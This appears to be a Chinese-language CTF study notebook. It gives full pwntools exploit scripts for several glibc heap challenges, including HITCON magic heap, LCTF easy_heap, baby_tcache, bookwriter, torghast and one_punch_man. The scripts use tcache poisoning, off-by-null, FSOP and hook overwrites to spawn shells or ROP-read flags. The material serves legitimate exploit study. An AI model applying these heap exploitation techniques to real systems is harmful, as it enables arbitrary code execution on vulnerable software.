libc=ELF('/home/aichch/glibc-all-in-one/libs/2.23-0ubuntu11.3_amd64/libc-2.23.so')

main_arena_offset=libc.symbols['__malloc_hook']+0x10

def alloc(size):
p.sendline(b'1')
p.recvuntil(b'Size: ')
p.sendline(str(size).encode())

def fill(idx,content):
p.sendline(b"2")
p.recvuntil(b"Index: ")
p.sendline(str(idx).encode())
p.recvuntil(b"Size: ")
p.sendline(str(len(content)).encode())
p.recvuntil(b"Content: ")
p.send(content)

def free(idx):
p.sendline(b'3')
p.recvuntil("Index: ")
p.sendline(str(idx).encode())

def show(idx):
p.sendline(b'4')
p.recvuntil("Index: ")
p.sendline(str(idx).encode())

alloc(0x10) #idx0
alloc(0x10) #idx1
alloc(0x10) #idx2
alloc(0x10) #idx3 for overflow idx4
alloc(0x80) #idx4
#gdb.attach(p)
#pause()
free(2)
free(1) #头插法 layout fastbin[0]->idx1->idx2->NULL

payload=b'a'*0x10+p64(0)+p64(0x21)+p8(0x80)#fixed size
fill(0,payload)
payload=b'a'*0x10+p64(0)+p64(0x21)
fill(3,payload)

alloc(0x10)#get idx1
alloc(0x10)#get idx4

payload = 0x10 * b'a' + p64(0) + p64(0x91)
fill(3,payload)

alloc(0x80)#idx5 avoid consolidate to top
free(4)

p.recv()
show(2)
p.recvuntil(b'Content: \n')
unsortedbin_addr=u64(p.recv(8))
print(hex(unsortedbin_addr))
main_arena=unsortedbin_addr-88
libc_base=main_arena-main_arena_offset

alloc(0x60)

free(4)

fake_chunk_addr = main_arena - 0x33
fake_chunk = p64(fake_chunk_addr)
fill(2,fake_chunk)

alloc(0x60)
alloc(0x60)

one_gadget_addr = libc_base + 0x4527a
payload = 0x13 * b'a' + p64(one_gadget_addr)
fill(6,payload)
alloc(0x100)
p.interactive()

一个很关键的点在要从idx4中切割出第一个0x70大小的chunk,这样再把这个chunk释放掉才能直接控制fd,当然另外申请0x70大小的也是可行的,要多麻烦几步就是了

小记0x7-0xa

HITCON Training lab14 magic heap

难度:★

功能可以说是非常常规了,保护照旧nx和canary

漏洞点是edit时大小是由自己定的,无限制溢出

exp:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
from pwn import *

r = process('./magicheap')


def create_heap(size, content):
r.recvuntil(b":")
r.sendline(b"1")
r.recvuntil(b":")
r.sendline(str(size))
r.recvuntil(b":")
r.sendline(content)


def edit_heap(idx, size, content):
r.recvuntil(b":")
r.sendline(b"2")
r.recvuntil(b":")
r.sendline(str(idx))
r.recvuntil(b":")
r.sendline(str(size))
r.recvuntil(b":")
r.sendline(content)


def del_heap(idx):
r.recvuntil(b":")
r.sendline(b"3")
r.recvuntil(":")
r.sendline(str(idx))


create_heap(0x20, b"dada") # 0
create_heap(0x80, b"dada") # 1
# in order not to merge into top chunk
create_heap(0x20, b"dada") # 2

del_heap(1)

magic = 0x6020c0
fd = 0
bk = magic - 0x10

edit_heap(0, 0x20 + 0x20, b"a" * 0x20 + p64(0) + p64(0x91) + p64(fd) + p64(bk))
create_heap(0x80, b"dada") #trigger unsorted bin attack
r.recvuntil(b":")
r.sendline(b"4869")
gdb.attach(r)
pause()
r.interactive()

LCTF2018 PWN easy_heap

难度:★★★

保护全开

难度有一部分是来与堆tcache的不熟悉,以及其综合运用了unosrtedbin的许多相关利用点,主要还是太久没学,对堆的知识有些生分了

学习的第一道带tcache bin的堆题,借此巩固自己堆tchche的学习

程序在自己实现的读入函数中存在off-by-null的漏洞

最多可以添加10个chunk

如果释放chunk那么前7个是会进入tcache的

利用的主要点自然是off-by-null,达到overlapping或extended的效果

但由于tcache以及本题固定大小chunk的影响显然不能直接利用

于是在凑满tcache后,再释放三个相临的chunk(命名为A,B,C)使之合并,这样c的prev_size段就被写为了0x200,

只要put null在其inuse位再释放就可以将之前的chunk包括进来,如果此时ab有处于使用状态的,则可以借机达到double free的效果

之后修改__free_hook为onegadget或者system之类皆可

另外因为本题无修改功能,因此只能重新分配改写字段

exp:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
65
66
67
68
69
70
71
72
73
74
75
76
77
78
79
80
81
82
83
from pwn import*
p=process('./eh')
context(os='linux', arch='amd64', log_level='debug')

def cmd(idx):
p.recvuntil(b'>')
p.sendline(str(idx).encode())

def new(size, content):
cmd(1)
p.recvuntil(b'>')
p.sendline(str(size).encode())
p.recvuntil(b'> ')
if len(content) >= size:
p.send(content)
else:
p.sendline(content)

def delete(idx):
cmd(2)
p.recvuntil(b'index \n> ')
p.sendline(str(idx).encode())

def show(idx):
cmd(3)
p.recvuntil(b'> ')
p.sendline(str(idx).encode())
return p.recvline()[:-1]


#第一步,构造堆大致布局,哪些chunk进入tcahce那些进入unsorted十分重要
for i in range(10):
new(0x10,b'abcd')

for i in range(6):
delete(i)

delete(9)#防止unsorted与top合并

for i in range(6, 9):
delete(i)

#其实微微调整其他类似布局也是可以的
#此时三个unsorted已经合并完成,并且末尾的unosrted的prev_size已被修改为0x200
for i in range(10):
new(0x10,b'a')

#第二步,开始利用off-by-null
for i in range(6):
delete(i)

delete(8)#into tcache
delete(7)#into unsorted
new(0xf8,b'a')#get prev-8 which changed to 0 and put null in next's prev_size fields
delete(6)
delete(9)#trigger
#这几个顺序很重要
for i in range(7):
new(0x10,b'a')

new(0x10,b'a')#get prev-7 and incise the big chunk made 0's fd,bk writed
libc_leak = u64(show(0).strip().ljust(8, b'\x00'))
libc = ELF('/home/aichch/glibc-all-in-one/libs/2.27-3ubuntu1.6_amd64/libc-2.27.so')
libc.address = libc_leak - 0x3ebca0 #get from gdb
# assign libc.address could admit us not to plus libc_base
new(0x10,b'a')
delete(1)
#delete(2)
#上面两个操作说是绕过检测,即因为之后会取出三次,则counts必然要符合条件,则至少要释放三次,因此上面的操作去掉一个也是可以的
delete(0)
delete(9)# 0 amd 9 point to the same chunk
#gdb.attach(p)
#pause()
#double free made point to itself
new(0x10, p64(libc.symbols['__free_hook'])) # 0 lifo find chunk by fd
new(0x10, b'win') # 1

one_gadget = libc.address + 0x4f302
new(0x10, p64(one_gadget))

# system("/bin/sh\x00")
delete(1)
p.interactive()

小记0xb-0xc

顺便学了个新技巧,libc.address在赋值为libcbase后,再得到的地址就已经自动加上了libcbase,不用另外自己加

其实有tcache的思路与无大差不差,只是存在一个优先级十分高的tcache,影响思路的具体执行

HITCON 2018 PWN baby_tcache

难度:★★★★

保护全开

程序十分简单只有两个功能,malloc与free,不过程序越简单不代表越好,因为没有show函数,要想泄露信息变得难上加难

程序自带一个可能的off-by-null

wiki提供了两种思路,第一种需要爆破,第二种利用了io_file的知识,选择第二种

_IO_2_1_stdout等结构体位于libc段中,main_arena也位于libc段中,那么他们就有固定的偏移,并且这个偏移量并不太大,依此可以部分写达到目的,

_IO_2_1_stdout和main_arena除了后12位皆相等,不过我们只能写16位,这也就意味着exp只有十六分之一的成功率

exp:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
from pwn import*
libc=ELF('/home/aichch/glibc-all-in-one/libs/2.27-3ubuntu1.6_amd64/libc-2.27.so')
p=process('./bt')

context.binary='./bt'

def menu(num):
p.sendlineafter(b"Your choice: ",str(num).encode())

def new(size,data=b'abc'):
menu(1)
p.sendlineafter(b"Size:",str(size).encode())
p.sendafter(b"Data:",data)

def delete(idx):
menu(2)
p.sendlineafter("Index:",str(idx).encode())


new(0x500-0x8) #0
new(0x30)#1
new(0x40)#2
new(0x50)#3
new(0x60)#4
new(0x4f8)#5
new(0x70)#6 avoid consolidate with top

delete(4)
new(0x68,b'a'*0x60+b'\x60\x06') #4 put null in 5
delete(2) #into tcache,切割后fd和bk写入unsorted
delete(0) #写fd????
delete(5) #unsorted and trigger consolidate 0 1 2 3 4

new(0x530) #使2的fd变为unsorted idx->0

delete(4)# into tcache
gdb.attach(p)
pause()
new(0xa8, b'\x60\x27')#2760覆写2的fd部分,碰撞低地址16位,成功概率十六分之一

new(0x40)#取出 2->idx 4
new(0x3e, p64(0xfbad1800) + p64(0) * 3 + b'\x00')#把stdout取出来了

print(repr(p.recv(8)))
print("leak!!!!!!!!!")
info1 = p.recv(8)#观测得知这里是我们要的地址
print(repr(info1))
libc.address = u64(info1) - 0x3ed8b0
log.info("libc @ " + hex(libc.address))

new(0xa8, p64(libc.symbols['__free_hook']))#4 的fd
new(0x60)#取出4->idx 6
new(0x60, p64(libc.address + 0x4f302)) # one gadget with $rsp+0x40 = NULL再取出freehook-fakechunk
delete(0)#trigger
p.interactive()

挺难的,结合了io_file的知识

pwnable_bookwriter

难度:★★★

checksec

1
2
3
4
5
6
7
[*] '/home/aichch/pwn/bw'
Arch: amd64-64-little
RELRO: Full RELRO
Stack: Canary found
NX: NX enabled
PIE: No PIE (0x400000)
FORTIFY: Enabled

libc是2.23

主要漏洞点:

  1. 根据内存判断应该只能存储8个book,但是add函数判断时是if(a>8)结合函数功能会将一个book的size覆写为一个地址(一个很大的数值)
  2. edit函数后会将book的size根据新输入的字符串调整,如果和下一个chunk的size连接起来就可以多写一个字节到下一个chunk
  3. author长度为0x40时,可以向下继续泄露地址

利用核心:

  1. 这题没有free功能,要想泄露libc就要对topchunk动手脚(本体可以修改其大小,再申请一个比修改后的size大的大小,使topchunk加入unsortedbin)
  2. 具体的漏洞利用实现要用到FSOP

实现过程:

  1. 泄露heap
  2. 通过topchunk进入unsortedbin泄露libc
  3. 第0个chunk大数字写伪造io_file和vtable
  4. 申请chunk利用unsortedbin attack写IO_file并让fake_iofile加入到smallbin链并成功进入fake_io_list_all,并因为unsortedbin链损坏触发malloc_printer以此getshell

触发trigger(将IO_list_all-0x10视为chunk起始的话,size==0)

1
2
3
4
5
6
7
8
9
10
for (;; )
{
int iters = 0;
while ((victim = unsorted_chunks (av)->bk) != unsorted_chunks (av))
{
bck = victim->bk;
if (__builtin_expect (victim->size <= 2 * SIZE_SZ, 0)
|| __builtin_expect (victim->size > av->system_mem, 0))
malloc_printerr (check_action, "malloc(): memory corruption",
chunk2mem (victim), av);

exp:(有小概率失败,可能是aslr的影响)

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
65
66
67
68
69
70
71
72
73
74
from pwn import *

context(arch='amd64',os='linux')
elf= ELF("./bw")
libc=ELF("/home/aichch/glibc-all-in-one/libs/2.23-0ubuntu11.3_amd64/libc-2.23.so")
p=process('./bw')

def add(size,content):
p.sendlineafter(b'choice :',b'1')
p.sendlineafter(b'page :',str(size).encode())
p.sendafter(b'Content :',content)

def view(idx):
p.sendlineafter(b"choice :",b"2")
p.sendlineafter(b'page :',str(idx).encode())

def edit(idx,content):
p.sendlineafter(b"choice :",b"3")
p.sendlineafter(b"page :",str(idx).encode())
p.sendafter(b"Content:",content)

def show():
p.sendlineafter(b"choice :",b"4")


p.sendafter(b'Author :',b'a'*0x40)

add(0x18,b'a')
edit(0,b'a'*0x18) #top chunk size edit

edit(0,b'\x00'*24+b'\xe1\x0f\x00')

# leak heap
show()
p.recvuntil(b'a'*64)
heap_addr = u64(p.recvline()[0:-1].ljust(8,b'\0'))
print(hex(heap_addr))
p.sendlineafter(b'(yes:1 / no:0) ',b'0')

add(0x1000,'a') #add top chunk to unsorted bin

for i in range(7):
add(0x50,'a'*0x8)


view(3)
p.recvuntil('aaaaaaaa')
libc_addr = u64(p.recvline()[0:-1].ljust(8,b'\0'))
libc.address = libc_addr - 0x3c4b78
print ('libc_base: ', hex(libc.address))
print ('libc_addr:', hex(libc_addr))
print ('system: ',hex(libc.symbols['system']))
print ('heap: ',hex(heap_addr))
print ("_IO_list_all: " + hex(libc.symbols['_IO_list_all']))

data = b'\0'*0x2b0
payload = b'/bin/sh\0'+p64(0x61)+p64(0)+p64(libc.symbols['_IO_list_all']-0x10)+p64(2)+p64(3)
payload=payload.ljust(0xc0,b'\x00')
payload += p64(0)
payload = payload.ljust(0xd8,b'\x00')
vtable = heap_addr + 0x2b0 +0xe0
payload += p64(vtable)
payload +=p64(0)*3+p64(libc.symbols['system'])


edit(0,data + payload)
#gdb.attach(p)
#pause()
p.recvuntil(b'Your choice :')
p.sendline(b'1')
p.recvuntil(b'Size of page :')
p.sendline(str(0x10).encode())

p.interactive()

小记0xf

2022春秋杯-torghast

难度:★★★

checksec

1
2
3
4
5
6
[*] '/home/aichch/pwn/pwn'
Arch: amd64-64-little
RELRO: Full RELRO
Stack: Canary found
NX: NX enabled
PIE: PIE enabled

程序要进行攻击的话,首先得成功通关关卡

需要通关有需要先取得GM权限

1
2
3
4
5
6
if ( a1 == 4 )
{
if ( (unsigned __int64)mp5070[6 * dword_504C] > 0x5F5E0FE )
{
dword_5058 = 1;
LODWORD(v1) = puts("Welcome GAME MASTER");

可以看到再进行比较的时候事先将mp转为无符号了

而在购买其他物品时,只比较了金钱是否大于0,而没有比较是否大于价格

取得权限:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
def game():
p.sendline(b'1')
p.sendline(b'1')
p.sendline(b'1')
p.sendline(b'2')
p.sendline(b'1')
p.sendline(b'2')
p.sendline(b'1')
p.sendline(b'2')
p.sendline(b'1')
p.sendline(b'2')
p.sendline(b'4')
p.sendline(b'1')
p.sendline(b'1')
p.sendline(b'4')
p.recv()

在不合并的前提下释放两个非tcache范围内chunk再取出使他们的bk位置写上堆地址和libc地址,fd位因为一定会被覆盖一些所以不行

这样就得到了libc地址和堆地址(堆地址用于之后绕过overlap时的unlink)

程序在edit_player的时候会存在off-by-null漏洞

可以利用其向前overlap(非tcache chunk)

从而进一步达到uaf(两个指针指向同一个chunk)

将free_hook挂载入tcache中,之后取出(注意对应的counts[tc_idx]的值要先拉高)

之后就是常规的操作了

exp:

不知道是不是一开始的交互函数没写好,导致程序交互总是莫名其妙的卡住,五六次使用脚本只有一次符合预期,调试的时候可以说是极其折磨了,折腾了一天

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
65
66
67
68
69
70
71
72
73
74
75
76
77
78
79
80
81
82
83
84
85
86
87
88
89
90
91
92
93
94
95
96
97
98
99
100
101
102
103
104
105
106
from pwn import*
p=process('./pwn')
libc=ELF('/home/aichch/glibc-all-in-one/libs/2.31-0ubuntu9_amd64/libc-2.31.so')


def game():
p.sendline(b'1')
p.sendline(b'1')
p.sendline(b'1')
p.sendline(b'2')
p.recv()
p.sendline(b'1')
p.sendline(b'2')
p.sendline(b'1')
p.sendline(b'2')
p.sendline(b'1')
p.sendline(b'2')
p.recv()
p.sendline(b'4')
p.sendline(b'1')
p.sendline(b'1')
p.sendline(b'4')
p.recv()


def add(idx,size,content=b'a'*8):
p.sendline(b'1')
p.recv()
p.send(str(idx).encode())
p.sendafter(b'Size\n',str(size).encode())
p.sendafter(b'Data\n',(content))
p.recv()

def edit(idx,content):
p.sendline(b'2')
p.sendafter(b'To Change?\n',str(idx).encode())
p.sendafter(b'Your Log:',content)
p.recv()

def delete(idx):
p.sendline(b'3')
p.sendafter(b'To Delete:\n',str(idx).encode())
p.recv()

def log(idx):
p.sendline(b'2')
p.sendlineafter(b'User?\n',str(idx).encode())
sleep(1)
p.sendline(b'1')
p.sendline(b'3')
p.recvuntil(b'a'*8)

def dbg():
gdb.attach(p)
pause()

game()
p.sendline(b'3')
add(1,0x410)
add(2,0x410)#防止两个chunk合并
add(3,0x410)
add(4,0x410)#防止与topchunk合并
delete(1)
delete(3)
add(1,0x410)
add(3,0x410)
p.sendline(b'4')
log(3)
libc_address=u64(p.recvuntil(b'\x7f').ljust(8,b'\x00'))
p.sendline(b'4')
log(1)
heap_3=u64(p.recv(6).ljust(8,b'\x00'))
libc.address=libc_address-96-0x1ebb80
print(hex(libc.address))
print(hex(heap_3))
free_hook=libc.sym['__free_hook']
system=libc.sym['system']

heap_5=heap_3+0x840#调试计算
p.sendline(b'4')
p.sendline(b'3')
edit(3,p64(heap_5))#记录地址
p.recv()
add(5,0x18)#off-by-null
add(6,0x4f0)
add(15,0x10)#防止与topchunk合并
edit(5,p64(heap_3-0x8)+p64(heap_3)+p64(0x20))#绕过合并时的unlink检测,prev_size记得填

delete(6)#触发合并
add(10,0x110)#现在10和5指向同一个chunk


add(7,0x110)#拉高对应count[idx]

delete(7)
delete(10)


edit(5,p64(free_hook))#挂载hook

add(8,0x110,b'/bin/sh\x00')
add(9,0x110,p64(system))
p.sendline(b'3')
p.sendafter(b'To Delete:\n',b'8')

p.interactive()

小记0x10-0x12

HITCON2019-one_punch man

难度:★★★

checksec

1
2
3
4
5
6
[*] '/home/aichch/pwn/op'
Arch: amd64-64-little
RELRO: Full RELRO
Stack: Canary found
NX: NX enabled
PIE: PIE enabled

and沙盒

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
 line  CODE  JT   JF      K
=================================
0000: 0x20 0x00 0x00 0x00000004 A = arch
0001: 0x15 0x01 0x00 0xc000003e if (A == ARCH_X86_64) goto 0003
0002: 0x06 0x00 0x00 0x00000000 return KILL
0003: 0x20 0x00 0x00 0x00000000 A = sys_number
0004: 0x15 0x00 0x01 0x0000000f if (A != rt_sigreturn) goto 0006
0005: 0x06 0x00 0x00 0x7fff0000 return ALLOW
0006: 0x15 0x00 0x01 0x000000e7 if (A != exit_group) goto 0008
0007: 0x06 0x00 0x00 0x7fff0000 return ALLOW
0008: 0x15 0x00 0x01 0x0000003c if (A != exit) goto 0010
0009: 0x06 0x00 0x00 0x7fff0000 return ALLOW
0010: 0x15 0x00 0x01 0x00000002 if (A != open) goto 0012
0011: 0x06 0x00 0x00 0x7fff0000 return ALLOW
0012: 0x15 0x00 0x01 0x00000000 if (A != read) goto 0014
0013: 0x06 0x00 0x00 0x7fff0000 return ALLOW
0014: 0x15 0x00 0x01 0x00000001 if (A != write) goto 0016
0015: 0x06 0x00 0x00 0x7fff0000 return ALLOW
0016: 0x15 0x00 0x01 0x0000000c if (A != brk) goto 0018
0017: 0x06 0x00 0x00 0x7fff0000 return ALLOW
0018: 0x15 0x00 0x01 0x00000009 if (A != mmap) goto 0020
0019: 0x06 0x00 0x00 0x7fff0000 return ALLOW
0020: 0x15 0x00 0x01 0x0000000a if (A != mprotect) goto 0022
0021: 0x06 0x00 0x00 0x7fff0000 return ALLOW
0022: 0x15 0x00 0x01 0x00000003 if (A != close) goto 0024
0023: 0x06 0x00 0x00 0x7fff0000 return ALLOW
0024: 0x06 0x00 0x00 0x00000000 return KILL

主要利用的就是retire这个函数在free后没有置零,从而可以uaf

程序有一个backdoor函数,但是直接看可以看到其本身也只是常规的申请chunk

不存在什么特殊功能

不过这题看正常分配chunk函数用的是calloc

因此不会直接取出tcache中的chunk

因此就需要用到backdoor中的malloc去除tcache来进行攻击了

libc版本是2.29,unsortedbin attack被削废了

难度不小,看了看师傅们的博客

主要有两种思路

思路一

主要是利用tcache在bins中找到所需的chunk后会将多余的该chunk填充入未满的tcache,来达到类似unsortedbin的攻击方式

  1. 泄露heap基址,libc基址
  2. 利用unsorted切割割出两个small chunk
  3. uaf写后来的small chunk的bk为目的地址
  4. 申请一个0x220的chunk,利用uaf写fd为__malloc_hook
  5. 申请small chunk,触发放入tcache
  6. backdoor申请出__malloc_hook
  7. 写__malloc_hook为跳转栈到可控区
  8. 在栈上构造orw_rop流,通过__malloc_hook调用

small chunk之所以不直接申请对应大小,是因为要使得他能放入small bin就需要tcache满,而tcache满就无法触发放入tcache

exp:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
65
66
67
68
69
70
71
72
73
74
75
76
77
78
79
80
81
82
83
84
85
86
87
88
89
90
91
92
93
94
95
96
97
98
99
100
101
102
103
104
105
106
107
from pwn import*

context.binary='./op'

elf=ELF('./op')



#some gadgets
# 0x000000000008cfd6: add rsp, 0x48; ret;
# 0x0000000000026542: pop rdi; ret;
# 0x000000000012bdcgot9: pop rdx; pop rsi; ret;
# 0x0000000000047cf8: pop rax; ret;
# 0x00000000000cf6c5: syscall; ret;

def cmd(c):
p.recvuntil("> ")
p.sendline(str(c).encode())

def alloc(idx,content):
cmd(1)
p.recvuntil("idx: ")
p.sendline(str(idx).encode())
p.recvuntil("name: ")
p.send(content)

def delete(idx):
cmd(4)
p.recvuntil("idx: ")
p.sendline(str(idx).encode())

def show(idx):
cmd(3)
p.recvuntil("idx: ")
p.sendline(str(idx).encode())

def edit(idx,content):
cmd(2)
p.recvuntil("idx: ")
p.sendline(str(idx).encode())
p.recvuntil("name: ")
p.send(content)

def dbg():
gdb.attach(p)
pause()

def main():
global p
p=process('./op')
alloc(0,b'a'*0xf0)
alloc(1,b'a'*0xf0)
delete(0)
delete(1)
show(1)
p.recvuntil(": ")
heap_base=u64(p.recvuntil("\n",drop=True).ljust(8,b"\x00")) - 0x260
info("heap : " + hex(heap_base))
for i in range(7):
alloc(0,b'a'*0x400)
delete(0)
for i in range(4):
alloc(0,b'a'*0xf0)
delete(0)
for i in range(2):
alloc(i,b'a'*0x400)
delete(0)
show(0)
p.recvuntil(": ")
libc.address=u64(p.recvuntil("\n",drop=True).ljust(8,b"\x00")) - 0x1e4ca0
info("libc : " + hex(libc.address))
alloc(1,b'a'*0x300)
alloc(2,"A"*0x400)
alloc(1,"A"*0x400)
delete(2)
alloc(1,b'a'*0x300)
alloc(1,b'a'*0x400)
alloc(0,b'a'*0x210)

payload = b"\x00"*0x108+b"flag.txt"+b"\x00"*(0x8+0x1f0)+p64(0x101)+p64(heap_base+0x27d0)+p64(heap_base+0x30-0x10-5)
edit(2,payload)
delete(0)
alloc(2,b'a'*0xf0)
edit(0,p64(libc.symbols['__malloc_hook']))
#dbg()
cmd(50056)
p.send(b"C"*8)
cmd(50056)
p.send(p64(libc.address+0x000000000008cfd6))
p_rdi = 0x0000000000026542+libc.address
p_rdx_rsi = 0x000000000012bdc9+libc.address
p_rax = 0x0000000000047cf8+libc.address
syscall_ret = 0x00000000000cf6c5+libc.address


payload = p64(p_rdi)+p64(heap_base+0x2df8)+p64(p_rdx_rsi)+p64(0)*2+p64(p_rax)+p64(2)+p64(syscall_ret)
payload += p64(p_rdi)+p64(3)+p64(p_rdx_rsi)+p64(0x80)+p64(heap_base+0x2d00)+p64(p_rax)+p64(0)+p64(syscall_ret)
payload += p64(p_rdi)+p64(1)+p64(p_rax)+p64(1)+p64(syscall_ret)
payload += p64(p_rdi)+p64(0)+p64(p_rax)+p64(0)+p64(syscall_ret)
payload = payload.ljust(0x100,b"\x00")

alloc(2,payload)
p.interactive()

if __name__=='__main__':
libc=ELF('/home/aichch/glibc-all-in-one/libs/2.29-0ubuntu2_amd64/libc-2.29.so')
main()

思路二

通过在tcache上伪造chunk,通过对chunk的count联合伪造size,0x20,0x30chunk的地址伪造fd,bk,以此进行unlink

  1. 泄露heap基址,libc基址
  2. 利用前一个泄露libc的chunk(其它chunk也行)来uaf,并多次double free布置tcache结构体中的fake chunk
  3. uaf修改一个chunk来触发unlink_tcache中的fake chunk
  4. 触发unlink
  5. 分配出tcahe_perthread_struct,在0x220写上free_hook
  6. 选择一个chunk布置好各类参数
  7. free触发

其中3的具体步骤是:

  1. free一个0x21的chunk
  2. free一个0x31的chunk
  3. free一个0x3a1的chunk
  4. free两个0x3b1的chunk

其中0下21和0x31的chunk要是同一个

exp:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
65
66
67
68
69
70
71
72
73
74
75
76
77
78
79
80
81
82
83
84
85
86
87
88
89
90
91
92
93
94
95
96
97
98
99
100
101
102
103
104
105
106
107
108
109
110
111
112
113
114
115
116
117
118
119
120
121
122
123
124
125
126
127
128
129
130
131
132
133
134
135
136
137
138
from pwn import *

context.arch = 'amd64'

def debug(addr,PIE=True):
if PIE:
text_base = int(os.popen("pmap {}| awk '{{print $1}}'".format(p.pid)).readlines()[1], 16)
gdb.attach(p,'b *{}'.format(hex(text_base+addr)))
else:
gdb.attach(p,"b *{}".format(hex(addr)))


def cmd(c):
p.recvuntil("> ")
p.sendline(str(c))

def add(idx,name):
cmd(1)
p.recvuntil("idx: ")
p.sendline(str(idx))
p.recvuntil("name: ")
p.send(name)
def dele(idx):
cmd(4)
p.recvuntil("idx: ")
p.sendline(str(idx))

def show(idx):
cmd(3)
p.recvuntil("idx: ")
p.sendline(str(idx))

def edit(idx,name):
cmd(2)
p.recvuntil("idx: ")
p.sendline(str(idx))
p.recvuntil("name: ")
p.send(name)

def main(host,port=26976):
global p
if host:
p = remote(host,port)
else:
p = process("./op")
# debug(0x0000000000015BB)
#gdb.attach(p,"b *setcontext+53")

add(2, 'a' * 0x217)
for i in range(2):
add(0, 'a' * 0x217)
dele(0)
show(0)
p.recvuntil(": ")
heap = u64(p.recvuntil("\n",drop=True).ljust(8,b"\x00")) - 0x480
for i in range(5):
add(0, 'a' * 0x217)
dele(0)
dele(2)
show(2)
p.recvuntil(": ")
libc.address = u64(p.recvuntil("\n",drop=True).ljust(8,b"\x00")) - 0x1e4ca0
info("heap : " + hex(heap))
info("libc : " + hex(libc.address))

length = 0xe0
add(0, 'a' * length)
add(0, 'a' * 0x80)
edit(2, b'\x00' * length + p64(0) + p64(0x21))
dele(0)

edit(2, b'\x00' * length + p64(0) + p64(0x31))
dele(0)
gdb.attach(p)
pause()
edit(2, b'\x00' * length + p64(0) + p64(0x3a1))
dele(0)

for i in range(3):
add(1, 'b' * 0x3a8)
dele(1)


edit(2, b'\x00' * length + p64(0x300) + p64(0x570) + p64(0) + p64(0) + p64(heap + 0x40) + p64(heap + 0x40))

dele(0)
add(0, b'c' * 0x100 + p64(libc.symbols['__free_hook']))
cmd(str(50056))
# 0x000000000012be97: mov rdx, qword ptr [rdi + 8]; mov rax, qword ptr [rdi]; mov rdi, rdx; jmp rax;
p.send(p64(libc.address+0x000000000012be97))#just edit hook not chunk
# 0x7f903816ae35 <setcontext+53>: mov rsp,QWORD PTR [rdx+0xa0]
# 0x7f903816ae3c <setcontext+60>: mov rbx,QWORD PTR [rdx+0x80]
# 0x7f903816ae43 <setcontext+67>: mov rbp,QWORD PTR [rdx+0x78]
# 0x7f903816ae47 <setcontext+71>: mov r12,QWORD PTR [rdx+0x48]
# 0x7f903816ae4b <setcontext+75>: mov r13,QWORD PTR [rdx+0x50]
# 0x7f903816ae4f <setcontext+79>: mov r14,QWORD PTR [rdx+0x58]
# 0x7f903816ae53 <setcontext+83>: mov r15,QWORD PTR [rdx+0x60]
# 0x7f903816ae57 <setcontext+87>: mov rcx,QWORD PTR [rdx+0xa8]
# 0x7f903816ae5e <setcontext+94>: push rcx
# 0x7f903816ae5f <setcontext+95>: mov rsi,QWORD PTR [rdx+0x70]
# 0x7f903816ae63 <setcontext+99>: mov rdi,QWORD PTR [rdx+0x68]
# 0x7f903816ae67 <setcontext+103>: mov rcx,QWORD PTR [rdx+0x98]
# 0x7f903816ae6e <setcontext+110>: mov r8,QWORD PTR [rdx+0x28]
# 0x7f903816ae72 <setcontext+114>: mov r9,QWORD PTR [rdx+0x30]
# 0x7f903816ae76 <setcontext+118>: mov rdx,QWORD PTR [rdx+0x88]
# 0x7f903816ae7d <setcontext+125>: xor eax,eax
# 0x7f903816ae7f <setcontext+127>: ret
# 00000000000026542: pop rdi; ret;
# 0x000000000012bdc9: pop rdx; pop rsi; ret;
# 0x0000000000047cf8: pop rax; ret;
# 0x00000000000cf6c5: syscall; ret;x
p_rdi = 0x0000000000026542+libc.address
p_rdx_rsi = 0x000000000012bdc9+libc.address
p_rax = 0x0000000000047cf8+libc.address
syscall_ret = 0x00000000000cf6c5+libc.address
payload = p64(libc.symbols["setcontext"]+53)+p64(heap+0x1ac0)
payload += b'flag.txt'+b'\x00'*8
payload += p64(0)*9 #offset 0x68
payload += p64(heap+0x1ad0) #rdi
payload += p64(0) #rsi
payload += p64(heap+0x2000) #rbp
payload += p64(0)*2 #rbx and rdx
payload += p64(0)*2
payload += p64(heap+0x1b78) # rsp
payload += p64(p_rax) #rcx
payload += p64(0xdeadbeef)
payload += p64(2)
payload += p64(syscall_ret)
payload += p64(p_rdi)+p64(3)+p64(p_rdx_rsi)+p64(0x80)+p64(heap+0x2d00)+p64(p_rax)+p64(0)+p64(syscall_ret)
payload += p64(p_rdi)+p64(1)+p64(p_rax)+p64(1)+p64(syscall_ret)
edit(1,payload)

dele(1)
p.interactive()

if __name__ == "__main__":
libc = ELF("/home/aichch/glibc-all-in-one/libs/2.29-0ubuntu2_amd64/libc-2.29.so",checksec=False)
main(args['REMOTE'])

拾遗

0x1chunk地址

程序(有缓冲)在运行中进行第一次io操作时(i操作申请一个,o操作申请一个),都会申请两个chunk(应该是stdin和stdout的缓冲区)

不过还不确定跟环境有没有关系

已知:

